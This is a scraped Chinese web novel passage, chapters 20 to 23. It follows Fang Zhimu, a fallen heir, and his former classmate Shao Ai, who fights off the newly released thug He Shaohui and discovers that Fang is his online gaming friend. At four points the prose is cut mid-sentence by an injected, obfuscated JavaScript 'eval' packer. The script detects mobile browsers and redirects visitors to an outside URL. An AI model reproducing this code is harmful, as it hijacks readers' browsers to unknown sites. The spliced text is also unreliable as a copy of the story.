这一点方知慕还是很有原则的,“我们当然是朋友,但我们才认识多久?等过段时间,如果你还是想要见面……” “过段时间是多久?” 方知慕无奈:“……你真是一点警惕心都没有啊。” “哥哥要是不想见面就算了吧。”草莓酱嘟囔:“但你不可以删掉我,我还会继续包你的。” 方知慕松口气。 要是他十八岁那会儿,网友说见面,他肯定二话不说就答应,但现在,他是真挺有压力的。 幸好草莓酱自己放弃了。 十一点,游戏时间结束,邵艾说了晚安,他靠在落地窗边看着窗外的灯火,有些不解。 他提出见面只是为了试探极光,为什么被极光拒绝后,他还要继续相逼? 邵艾觉得自己真可能需要放个长假好好休息一下了,再这样工作下去他可能会精神紊乱。 极光是个很好的人,邵苡跟他玩儿没什么需要担心的。 所以他以后应该不会再碰这个游戏,也该和极光告别了。 不知怎么的,邵艾又想起方知慕。 上次见面时,风大雨急,哪怕有伞,也会不可避免地被淋湿,也不知道他有没有生病。 还有他那腿……都杵拐杖了还大半夜跑出来买糖饼,简直跟十八岁时一样没谱。十年时间过去,岁月还没有让方知慕变得成熟一点吗? 他现在送外卖为生,伤了腿的话,应该不能送外卖了,那他要怎么生活?会不会啃馒头吃泡面? …… 简直是越想越凄惨。 邵艾开始考虑通过暗箱操作让方知慕刮刮乐随便中个十几万改善一下生活的可能性。并且开率邵苡之前说的送套房给他现不现实,住在欣悦小区,小少爷没被憋死也是神奇。 脑子里想了一堆乱七八糟的后,邵艾忽然清醒。 他跟方知慕只是好久不见的高中同学,有什么理由做这些 要是给了方知慕他还喜欢他的错觉,岂不是天大的乌龙。 邵艾将上述计划全盘否决,冷脸灌了自己一杯酒,又开始搜索针对个人的捐款。 不然让方知慕开个水滴筹得了。 20.chapter20 在草莓酱的单子快要到期时,方知慕复诊的时间也到了。从衍本来说要来接他,结果临时有事,要去出差,打电话给方知慕说时语气不太好,方知慕失笑:“是我被放鸽子,你生什么气。” 从衍:“我一周前就跟秘书说要把今天下午空出来。” 方知慕其实能猜到原因。 应该是从衍的父亲知道了从衍还和他有来往,故意为之。 “没事。”方知慕说:“我自己去就行了,你好好工作,别为我的事操心,也别跟你爸吵架。” 从衍沉默了一会儿,似乎想说什么,却又终究咽了回去,“好,你看完医生后告诉我恢复得怎么样。” 方知慕答应下来,杵着拐杖出门。腿没受伤前方知慕从没有在拥挤的淮城四号线有过座位,杵拐杖以后不管是地铁还是公交都有好心人让座,就连下楼梯的时候路人都会担心他忽然摔了而精神紧绷。 医生对方知慕的恢复情况给了比较积极的评价,认为他可以开始尝试不用拐杖辅助走路,但是还不能走太久,更不能做奔跑之类的运动,还要多吃水果蔬菜高蛋白肉类……等等等等。医生说什么方知慕都点头。 从小方知慕就不喜欢医院这地方。小时候身体不好,经常吃药打针,消毒水的味道就像是刻在了DNA里,后来方岩住院,他对这地方就更抵触了,一分钟不愿意多待。 到了家附近,方知慕想起医生的叮嘱,去附近超市买了点食材,要进单元门的时候瞥见门口蹲了个人。 小区里什么样的人都有,爱蹲门口抽烟的混混不少,方知慕原本已经司空见惯,但不知怎么的,他停住了脚步。 这人的身影,有些眼熟。 他脚边已经一堆烟头,显然已经等了许久,先是察觉到方知慕的目光,他忽然转过头。 看见那张脸,方知慕全身僵住。 “这是干什么去了了,让我等这么久。”男人站起来,活动了一下肢体。比起两年前,他头发短了很多,整个人看起来反而更加悍利,有种说不出来的匪气。 方知慕不自觉地后退了一步。 真是不该背后说人。 上次他和柳荫在沙县小吃提起理查德应该快要出狱了,方知慕这段时间一直在物色新房子,千算万算,没算到这人竟然提前出狱了,甚至直接来他家门口蹲人。 方知慕后退两步,又停住了,“你找我有事?” “找老同学叙叙旧。”男人倒是没有别的动作,就站在原地打量方知慕,眸光从他的拐杖上划过,“腿怎么了?” 方知慕:“我和你的关系似乎还没有好到可以聊私人话题的程度。” “你这样说多让我伤心。”男人偏头,“我们好歹也认识二十多年了。小时候你和从衍闯了祸,不都推到我头上。” 方知慕面无表情,“你到底想要干什么。” “在里面这两年,我一直挺想你的。所以刚出来,家都没回,就来找你了。”男人上前,抓住方知慕的胳膊,话说得挺客气,手上的力道却一点都不小:“我请你吃个饭?” 方知慕说:“松手,很痛。” 男人一顿,稍微松手,方知慕用力将手上的购物袋砸他脸上,趁着他分身的功夫,转头就跑。 什么不要奔跑、不要剧烈运动,通通忘到了脑后。 要是被这个疯子抓到,不死也要脱层皮。虽然方知慕扪心自问这人当初进监狱跟他没有半毛钱关系,但确实是他打电话报警的没错——不过任何一个稍微有点道德心的人看见群殴现场差点把人打死了应该都会报警的吧。 方知慕觉得自己没错,但他也是真的很怕这个神经病,脑子里只有一个想法:跑了再说。 他腿没好全,平时走路的时候不觉得,一跑起来就隐隐作痛,速度也不如从前,方知慕满头冷汗,看向保安亭里的老保安,老保安立刻移开视线,满脸写着“别看我别找我我只想拿份工资混日子”。 方知慕跑出小区,他甚至不敢回头看那人有没有追上来。这会儿从衍不在国内,柳荫在公司上班……报警的话更是没有理由,因为神经病还什么都没干。 焦躁之际,忽然一只手抓住了他手臂,方知慕反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17017779|193044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应极大,转身就是一拳,对方完全措不及防,结结实实挨了一下,发出嘶的一声轻响。 方知慕呆住了:“……邵艾?” “你发什么疯?”邵艾摸了摸自己唇角,方知慕看着清瘦,力气倒是真的挺大,这一拳下来痛得不行。 “我不知道是你。”方知慕慌乱解释,“抱歉,你有没有事?” “我有没有事稍后再说。”邵艾眯起眼睛,将他往自己身后一塞,“怎么,高利贷上门讨债?” 方知慕从他背后探出头,就见男人追了上来,两个身高超过一米八的男人在小区门口对峙,那样子其实很吓人,路人全都绕着走。 “不是高利贷。”方知慕小声说:“不知道你还记不记得他……念高中那会儿我们同学,贺绍辉。” 邵艾似乎回忆了一下,而后看向对面的人,笑了下,“哦……那个家里是□□的傻逼啊。” “我还以为这种人一成年就会进去呢,原来他这么遵纪守法吗?” 方知慕更小声:“他都已经进去出来了。还有,你别这么挑衅啊,他真会动手的。” 邵艾淡声道:“又不是没打过。” 方知慕:“?” 邵艾和贺绍辉什么时候打过架?他为什么一点印象都没有? “啊。”贺绍辉笑着说:“是你啊。没了那一身穷酸气,差点没认出来。”他偏头又点了支烟,“倒是听说过你混得不错,既然混得不错,又回来找他干什么?” “欠虐啊?” 邵艾:“你这一身流氓德行倒是一点没变,如我所料那般长成了一个人渣。” 贺绍辉眸光一冷,夹着烟的手指着邵艾,“我今天来找的人不是你,识相的话就让开。” “巧了,我也找他有事。”邵艾道:“不然你们的事改天再说?人我先带走了。” 贺绍辉本来就不是好脾气的人,看在邵艾如今有点地位才愿意耐着性子跟他废话两句,只可惜人不知好歹,那就没什么好说了的了。 他将刚点燃的烟扔在地上碾灭,提拳就往邵艾脸上砸。 21.chapter21 因为家庭原因,贺绍辉从小就是个混不吝,打架自然也是一把好手。以前方知慕他妈就耳提面命过好多次不准他跟贺绍一起玩儿。只是年少的时候,哪知道那么多弯弯绕绕,只觉得贺绍辉讲义气,有意思,方知慕完全没把他妈的话听进去。 但让方知慕没想到的是,邵艾打起架来也狠得要命,和他记忆里那个清瘦单薄的少年截然不同。 他和贺绍辉就像是两头凶猛的野兽,见了血都不肯罢休,两人缠斗在一起,全都鼻青脸肿,偏偏谁也不肯服输。 邵艾一脚将贺绍辉踹翻在地,贺绍辉大概是伤到了要害,躺在地上一时间没能爬得起来,邵艾擦了把脸上的血,还要上前,方知慕一把拽住他:“等等!” 因为刚刚的打斗,邵艾早就红了眼,听见方知慕的声音,他转过头,冷冷道:“你帮他说话?” “……不是。”方知慕很是无语,也顾不得那么多,抓住他的手就跑,“贺绍辉不是你对手,但是他会摇人啊!手底下那么多小弟,全都围殴你一个要怎么办?” 邵艾:“……不早说。” 他反手抓住方知慕,带着人到了自己的车边,开车门把人塞进去然后自己坐到副驾驶点火开车一气呵成,方知慕确认贺绍辉的小弟连他们的尾气都闻不到了,才终于松了口气。 因为刚刚的奔跑,小腿隐隐作痛,方知慕伸手按了按,却更关心另一件事,转头道:“你的伤……” 却不料邵艾也几乎同时开口:“你的腿……” 两人都是一顿。 邵艾用纸巾胡乱擦了擦脸上的血迹,“没什么事,倒是你,瘸腿也能跑那么快?” 方知慕一时间分不清楚邵艾是在夸他还是在阴阳怪气,不过眼下他也无暇在意这么多,皱眉道:“好多地方都流血了,必须去医院看看才行。” 他语气平和而坚定:“去医院。” “知道了。”邵艾啧了声,“他为什么来找你麻烦?” 方知慕侧过头,看着窗外,唇角抿紧,不太想说。 邵艾:“你不说我也能查出来。” “你问这个干什么。”方知慕道:“跟你又没有关系。” 前面红灯,邵艾一把抓住方知慕的手,往自己脸上一按,方知慕沾了一手血,吓一跳:“你干什么?” “你有没有点良心。”邵艾面无表情道:“我是为了帮谁才这样?” 方知慕手指蜷缩了一下。 他把手抽回来,郁闷道:“我只是觉得有点丢脸,不太想说而已。我家里刚破产那段时间……我爸病危,住在ICU里每天都要花钱,当时我把能卖的东西全部卖了,但还是不够。” 邵艾手背上青筋跳了跳。 高三那年,方知慕说自己要出国留学后直接消失了,邵艾考上外地的大学,直接带着邵苡离开淮城,那之后方知慕又如何了,他并不清楚。 这些年他没有联系任何当年的高中同学,刻意忽略方知慕的消息,在回到淮城、亲眼看见方知慕以前,他都一直以为方知慕过得很好。 “后来呢。”邵艾问,“怎么跟贺绍辉扯上关系的?” “……我们高中那会儿,我不是认识你之后就不怎么跟他玩儿了么。”方知慕道:“我们差点直接绝交了。后来我家破产,他肯定要来看我笑话,知道我缺钱,他就借了我一笔钱,因为那笔钱,我爸的命才能保住,我还挺感谢他的。” “我还以为他借我这笔钱是看在我们从小认识的交情上。直到一个月后,他忽然要我还钱。”方知慕揉了揉有点麻木的脸颊,低声说:“我那时候连住的地方都没有了,怎么可能还得起,他就问我。” 邵艾:“什么?” 方知慕扯了扯唇角,“问我要不要去他家KTV工作,给我比别人高百分之二十的提成。” 邵艾握紧了方向盘。 从高中时代,他就知道贺绍辉对方知慕其实有点别的意思。否则像贺绍辉那种人,不可能愿意跟在小少爷身后伏低做小。他和方知慕认识后,方知慕就疏远了贺绍辉伍天华那帮人,贺绍辉对此很有意见,找过邵艾几次麻烦,也不是没有动过手。 邵艾没跟方知慕讲过这些事,是觉得方知慕毕竟是方家的小少爷,有他爸妈在,贺绍辉就是吃了熊心豹子胆也不敢对他做什么。 谁也没想到方家破产、桑闵茴自杀、方岩车祸这些事会发生在短短几天之内,高楼崩塌只是一瞬间,方知慕刚刚步入十八岁的成年期,就失去了所有。 “我没答应他。”方知慕仰起头,像是陷入了那段久远的回忆里,喃喃说:“但他一直找我麻烦,巧的是,有次我上去便利店上夜班,看见小巷子里有人打架,走近了一看才发现是贺绍辉他们。当时那个人浑身是血,躺在地上动都不动,我打电话报了警。” “之后听说他被抓了,判了两年。”说到这里,方知慕叹口气,“我本来最近在打算搬家的,我知道他出来了肯定会来找我麻烦,算日子他应该要几个月后才刑满的,谁知道提前放出来了。” “那你现在打算怎么办?” “让朋友帮我去把家里的东西收拾好,然后找别的地方住。”方知慕知道胳膊拧不动大腿,当时那通报警电话他算是跟贺绍辉彻底结了仇——虽然当年贺绍辉借给他的钱他早就已经还清了,自认不欠贺绍辉什么。 但贺绍辉显然不这么想。 哪怕他并不真的对方知慕做什么,派几个人在小区门口晃荡也挺恶心人的。 邵艾:“住的地方找好了?” 方知慕点头,“找好了,明天去看房,没问题的话就定下来。” “地址?” 方知慕左看右看,假装没听见。 邵艾:“方知慕。” “……嗯。” “你要是不回答,我就把车停路边,等你什么时候回答了,我们再去医院也不迟。” 方知慕眼睁睁看见贺绍辉抓着邵艾的头在地上磕了好几下,一直担心他会脑震荡,听完后立刻报了个小区名字。 “你挺厉害。”邵艾道:“整个淮城和欣悦小区条件差不多的地方屈指可数,你又找到了一个。” 方知慕闭嘴不说话。 确实找得蛮辛苦的。但是为了省点租金,再辛苦都不重要。 到了医院,邵艾的助理已经在等着了,看见邵艾满脸是血,吓得够呛,一个劲问要不要报警。 方知慕要陪邵艾去做检查,邵艾直接道:“我让助理挂了号,去找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17036754|193044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的主治医生看腿,我的事情会自己看着办。” 方知慕犹豫着道:“那……我看完了后来找你?” 邵艾:“看完了再说。”他抬了抬下颌,示意助理带方知慕去诊室。 这种伤口,要不是为了宽方知慕的心,邵艾都不会来医院处理,回家涂点碘伏得了,小时候没少跟附近的小混混打架,也就方知慕觉得他是个风吹就倒的学霸。 邵艾处理完伤口出来,看见助理已经带着方知慕在走廊上等着了,见到他,方知慕立刻站起身,问:“你的伤……” “他腿怎么样?”邵艾问助理。 “医生说没有太大问题,但需要好好养,这几天最好不要走太多路。”助理道:“保险起见,又拍了个片子,不过要过会儿才能取。” 邵艾嗯了声,“你先去忙。” 助理离开后,邵艾发现方知慕还眼巴巴看着自己,一顿,“看着我干什么?” 方知慕:“你还没回答我问题。” “皮外伤而已,能有什么事,过两天就好了。”邵艾按住他肩膀,让他坐回椅子上,“坐着等会儿,给医生看了片子再走。” 方知慕还是皱着眉,迟疑:“你要不要也拍个片子?脑部CT什么的,我看贺绍辉抓着你的头往地上砸那两下挺狠的……” 邵艾垂眸看着他,淡声道:“我说了不用。” 方知慕抿了下唇角,想了想还是说:“这样吧,我加一下你的好友,把今天的医药费给你,然后你要是有什么不舒服的地方,一定要告诉我,我会负责到底的。” 邵艾本想说不用,方知慕却已经拿出手机,调出自己的二维码,放在他眼前了。 既然他这么主动,那加一下也不是不行。 邵艾扫了码,屏幕上跳出来的却并不是好友验证,而是一个熟悉的头像和ID。 头像是一片极光的 “极光”。 邵艾蓦然怔住,看着那个头像久久没有反应。 “怎么了?”方知慕问:“医院网不好吗?” “……”邵艾垂下眼睑,说:“嗯,稍等。” 他切换自己的工作账号,扫了二维码,弹了好友申请给对方,方知慕立刻点了通过,道:“今天真的很谢谢你,要是我被贺绍辉逮到还不知道会发生什么……” 方知慕兀自喋喋不休,邵艾忽然出声打断他:“方知慕。” “嗯?” 邵艾手指紧紧攥着手机,喉结滚了滚,想要问他的话许多,最终却只是道:“没什么。” 或许世间真的有缘分这种东西。 否则这世间亿万人,怎么偏偏极光就是方知慕呢。 “我去取片子。”邵艾说:“你在这里等我。” “我跟你一起……” “坐着。”邵艾没同意,自己快步绕过拐角,直到脱离方知慕的视线范围,他才察觉到自己的手指其实一直在发抖。 邵艾切回自己的私人号,和极光的聊天仍旧是置顶,昨夜他们还互道晚安。 他闭上眼睛,靠着冰冷的墙壁,仰起头深深地吐出口气,然后给邵苡打电话:“你那个游戏账号……” “你准备还我了?” 邵艾说:“归我了。” 22.chapter22 万幸,刚刚那一通狂奔没有让方知慕骨头的伤情加重,但医生在看过片子后还是把方知慕好一通训斥。方知慕之前被教训还没觉得有什么,这些年摸爬滚打,他什么场面没见过,但因为有邵艾在旁边,他就觉得分外尴尬。 明明以前念书时候他总是被老师当着全班人的面批评,那时候邵艾也看着,他却仍旧能泰然处之,跟老师贫上两句。 归根结底,时移世易,地位颠倒,压垮他的是无法控制的自卑。 “医生。”邵艾打断了滔滔不绝的老医生,道:“还有别的注意事项吗?” “就我刚刚说的那些。”老医生想起什么,又补充:“对了,注意补充营养,你看他瘦的,都要皮包骨头了。你们这些年轻人,就爱减肥。” 方知慕觉得真是天大的冤枉,他这是纯纯累瘦的。 “知道了。”邵艾将方知慕的片子和缴费单都收进袋子里,“谢谢医生,我会监督他好好吃饭。” 方知慕愣了愣,张张嘴却没说得出话来。邵艾偏头看他:“你现在去哪儿?” 方知慕哑然。 他现在还真是无处可去。 从衍人在国外,而且他要是去从衍那里住,让他爸知道了恐怕又是一场家庭战争,至于柳荫……柳荫跟人合租,也不合适。 “先回欣悦小区吧。”方知慕说:“贺绍辉短时间内应该不会再来找我麻烦了。” 毕竟被邵艾揍得那么惨,估计得在医院躺两天。 其实最保险的方式就是去住酒店,但淮城物价高,就算是最便宜的小旅馆一晚上也要将近一百,方知慕住不起。 邵艾冷冷道:“贺绍辉不会来,他手底下的人也不会来?” “他不会让别人来的。”方知慕解释道:“我了解他。” 结果这话一说出来,邵艾表情更难看了。 “你们毕竟认识了二十多年。”邵艾扯了下唇角,“确实对彼此很了解。” 方知慕不知道该怎么回复他这阴阳怪气的一句话。他和贺绍辉确实是从小的交情,虽然后来闹翻了,但贺绍辉也不至于指使自己手下的小弟来揍方知慕一顿,否则贺绍辉进去这两年里他早就在欣悦小区住不下去了。 邵艾明白,就算他给方知慕订酒店,方知慕也不会接受,便只是道:“尽快把房子找好。” “……哦。”方知慕说:“你应该很忙吧,其实你不用管我,我自己回去就好了。” 邵艾面无表情看着他:“比起贺绍辉,你更不想见到我?” 方知慕完全不懂他为什么会这样想,懵了一下才说:“我不是这个意思,只是今天是工作日……” 不都说邵艾现在是大老板么,见面都要预约制的,肯定很忙才对。他好心好意,反被邵艾怼了一句,不由让方知慕感叹,十多年时光流逝,也没能让邵艾那张堪比管制刀具的嘴温和一点。 “我是老板。”邵艾扶着他进电梯——与其说是扶着,不如说是直接半抱着方知慕带着人往前走,“可以翘班。” “。” 到了小区门口,方知慕有些犹豫。 按理说人家送他到了家门口,于情于理都该请人上去喝杯水,但他现在住的地方环境实在是不好,邵艾虽然跟贺绍辉打了一架,衣服皱皱巴巴,但还是能看出是高定,这样的人进他们小区都有点格格不入,更别说把人请进他那逼仄的一居室了。 “忘记门牌号了?”邵艾冷不丁问。 方知慕回神,“我家里有点乱,要不然……” 邵艾淡声道:“你现在才懂了。” 方知慕一愣,“什么?” “高中时候。”邵艾说:“你非要去我家里。你现在才懂了我当时的心情。” 方知慕抿紧唇,胸口堵得慌。 他年少的时候确实恣意妄为,有时候自以为是的好心比恶毒的谩骂还要伤人心。当年邵艾的居住环境也不比他现在好多少,他死皮赖脸非要上别人家里做客,其实给邵艾造成了相当大的心理负担。 方知慕已经不记得第一次去邵艾家里时他是什么样的表情,只记得那间小小的、逼仄的却收拾得很整洁的小房子里空气清新剂的味道,是茉莉花的香气。 到了今日,他才终于明白当年邵艾的难堪和挣扎。只是已经过去太久太久,久到连一声对不起都说不出口。 “方知慕。”邵艾语气平静:“不请我去坐坐吗?” “……”方知慕说:“走吧。” 方知慕家里没怎么收拾,但也算不上乱,他给邵艾找了双拖鞋,又去给人倒水,邵艾看他瘸着腿忙上忙下,又转头打量了一圈室内。 典型的单身男性独居风格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076455|193044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,狭窄的单人床放在窗边,墙皮因为夏季的潮湿而明显剥落,风里有霉菌的气息,那是老旧居民楼无法根除的气味。光是走进这里都让人觉得压抑,方知慕却在这里住了很多年。 当年小少爷不想他吃的苦,自己全部吃上了。 “对不起啊。”方知慕从厨房出来,手里端着一盘洗好的葡萄,局促道:“也没什么能招待你的。” 邵艾瞥了眼他还在滴水的手指,“医生让你少动。” 房间里只有一张小沙发,方知慕只好在床边坐下,不自在地捏紧手指,“那什么,你的伤,要不然还是去照个CT吧?” 邵艾:“我要真脑子被打出问题成了傻子,你怎么办?” 方知慕说:“你现在讲话一如既往的刻薄,应该没有大问题吧?” 邵艾盯着他不说话。 方知慕无奈,只好道:“是因为我才出的事,我肯定会负起责任,送外卖给你治病?” 邵艾笑了下,方知慕分辨不出是真心还是假意。 “你腿好了后,准备继续送外卖?” 方知慕有点搞不懂他这个要跟自己促膝长谈的架势是什么意思,明明之前都装作不认识他的。但邵艾问了,他不回答,这人又要生气,便道:“应该是。送外卖挣的比较多。” 说到这里,他有些窘迫,“你知道的,我没什么学历,以前仗着家里有钱,也没学点有用的东西……” “我不知道。”邵艾打断他,“方知慕,我不是神仙,你不说,我不可能掐指一算就知道这十年里你都经历了什么事情。” “我一直以为你在国外念书。” “……哦。”方知慕垂下头,捏住衣角,“那个是骗你的。” “为什么骗我?” 方知慕不回答。 邵艾气的想笑。方知慕还真是一点没变,在他心里,可以回答的问题,用点手段他总会回答,不能回答的问题,就算是用尽手段,他也会咬死不松口。 其实邵艾自己也觉得挺无趣的,已经过去十年之久,追究当年那点破事还有意义吗?可方知慕这个人,就像是卡在他喉咙里的一根鱼刺,吐不出来,咽不下去,留在喉咙里,又会发炎,溃烂,成为不可提起的陈伤。 偏喝水时痛,吃饭时痛,说话时痛,好不容易睡去了,梦里仍在作痛。 23.chapter23 方知慕知道邵艾肯定生气了。 要是以前,他肯定会缠着邵艾哄两句,反正他从小就没脸没皮,遇见邵艾后更是将哄人这套功夫练得炉火纯青。但现在,他和邵艾并不是那么亲密的关系,不可能挂在人身上摇来晃去,说些撒娇的话。 他靠在窗口,看见邵艾的背影消失在小区门口,手指不自觉抓紧了窗框,慢慢垂下头,抿紧了嘴唇。 过往优越的家世让他低头都显得是种上位者的恩赐,如今潦倒的现实让他连挺直脊背都如有千斤巨石压顶。 方知慕忽然觉得很疲惫。 他想他不该再和邵艾遇见的,明明已经花了十年的时间来接受这可悲的人生,明明他早就不在意那些虚无的东西,可见到邵艾后,自尊,自卑,全都如同跗骨之疽重新缠上他,让他不得安宁。 手机铃声响起,是柳荫的电话。 方知慕深吸口气,调整情绪:“喂?” “我刚听说贺绍辉提前释放了!”柳荫语气焦急:“知慕,你先来我这里住一段时间吧,我怕他去找你麻烦……” 方知慕说:“别紧张。” “你让我怎么不紧张?!”柳荫道:“他本来就一直针对你,你把他送进监狱,谁知道他会怎么报复你?” “我的意思是他已经来找过我了。”方知慕叹气,“所以你不要紧张了。” “?!”柳荫简直要炸了,“我靠,他已经找过你了?你有没有事?我现在就来找你!” “不用。”方知慕道:“别紧张,他这会应该在医院躺着。” 柳荫:“……虽然我是很支持你把这个神经病揍一顿的,但是你的战斗力什么时候这么强悍了,瘸了也能打?” “不是我打的。”方知慕简单解释:“是有好心人见义勇为。他也受了伤,我们刚从医院回来不久。” 柳荫松了口气,“那你总得请好心人吃顿饭吧?我定个地方?” 方知慕:“……不用了,好心人说他路见不平拔刀相助,不图回报。” 柳荫跟他认识这么多年了,怎么可能听不出他语气里的不自在,皱眉:“那个人我认识?” “……”他就说柳荫应该去做警察的,太敏锐了。 “不要等我现场逼问啊。”柳荫说:“我立马打车来你家信不信?” 方知慕没办法,只好招了:“是邵艾。他正好有事路过。” 这次柳荫沉默了很久,方知慕还以为信号出问题了,晃了晃手机:“喂?” 柳荫语出惊人:“方知慕,你说邵艾,是不是还喜欢你?” 方知慕呆住,心脏漏了一拍,而后弯起唇角笑了:“说什么呢,他有女朋友,都同居了。再说了,宋铭松不还一心想要把宋蔓嫁给他吗?人家怎么可能还喜欢我。” 柳荫说:“那你觉得邵艾究竟是要办什么事才会恰好路过你小区门口?你对欣悦小区的地理位置没点数吗?” 方知慕一噎。 难道……邵艾真是来找他的吗? “你别瞎猜。”方知慕垂下眼睫,嗓音轻轻:“以前他喜欢我,还可以理解,现在他功成名就,我跑腿送外卖,饭都要吃不上了,他喜欢我什么?” 柳荫不爽道:“你怎么老是喜欢贬低自己?我觉得现在的你就很好,比高中时候的你还要好,邵艾凭什么不喜欢你?” 方知慕有点无奈,“因为我是你朋友你才……” 柳荫打断他:“不是因为这个。我就是觉得你很好,特别好。我跟家里吵架的时候只有你愿意收留我,方知慕,你别这样说你自己。” 方知慕莞尔,“干嘛忽然说这么煽情的话。” “还不是你先开的口。”柳荫无语,“你赶紧找房子搬走,别再让贺绍辉那个垃圾缠上了。要不然这段时间你还是先来我这里住……” “不用。”方知慕说:“我明天就去看房了。” 柳荫这才勉强作罢。 方知慕躺在床上,盯着天花板发呆,忽然想起很久以前,他第一次见到邵艾的时候。 高二分班,方岩又给学校捐了不少东西,让方知慕这个学渣中的战斗机得以进入理科尖子班……虽然方知慕更想在吊车尾的班级混日子,但是桑闵茴好面子,不允许他这么丢脸,所以哪怕他总成绩还没人家尖子班的单科分数高,也硬要方岩把他弄进尖子班。 方知慕倒是无所谓,反正去了尖子班 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087368|193044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老师也不管他,上课睡觉下课跟人打球放学就去网吧打游戏,一天天的日子可充实了。那时候少年无忧无虑,从没想过以后。 邵艾其实在学校里很有名。 方知慕还没见过他就已经听说过他的名字,原因有三。 一是邵艾常年年级第一,分数甩第二名十几二十分;二是邵艾长得非常好看,哪怕一中校服丑得要死男生不准留遮住眉毛的头发,也经常有女生在窗边偷看;三,是因为邵艾非常穷。 他选择一中,是因为一中不仅不收他学费,还有生活补助,可即便是这样,邵艾也穷得让方知慕无法想象——就连食堂里被小少爷称作猪食的饭菜他都吃不起。 不过,这些对方知慕来说,也只是聊天时偶尔被人提起的谈资罢了,他不过是知道有这么个人,直到尖子班第一次小考,重新排座,他和邵艾成了同桌。 正逢桑闵茴觉得儿子实在是太废物,高二了要是再不抓紧学点东西就真是个文盲了,跟班主任谈心后,班主任得了尚方宝剑,要严管方知慕,如果不交作业,必定要跟桑闵茴打电话告状。方知慕焦头烂额,看见邵艾一身蓝白校服、抱着自己的书走向他、整个人沐浴着学神的光辉时,小少爷差点激动得落下眼泪。 在和邵艾成为同桌的第一节课,他就把二百块钱拍桌上,要求邵艾把数学作业接他抄抄。邵艾先是看了看钱,而后抬头看了看他的脸,最后举手,跟班主任举报方知慕金钱贿赂同学。 方知慕又被桑闵茴好一顿骂,第二天上学时看邵艾哪哪儿都不顺眼,大概是他的眼神太炽热,邵艾转过头,面无表情看着他:“看我不爽?” “不然呢?”方知慕拍桌子,“你不同意就不同意,干嘛举报我?!” 邵艾很平静:“看我不爽也憋着。” “……” 方知慕忽然笑出声来。 他翻了个身,看着窗外的树影婆娑。 都说时光会为记忆添上一层滤镜,让幸福的瞬间更幸福,痛苦的瞬间更痛苦,他确实已经不记得高中那段时间他是否真的感到过幸福,但如今回想起来,当初的痛苦,确实更加痛苦。 就连当初的幸福,也变作了痛苦。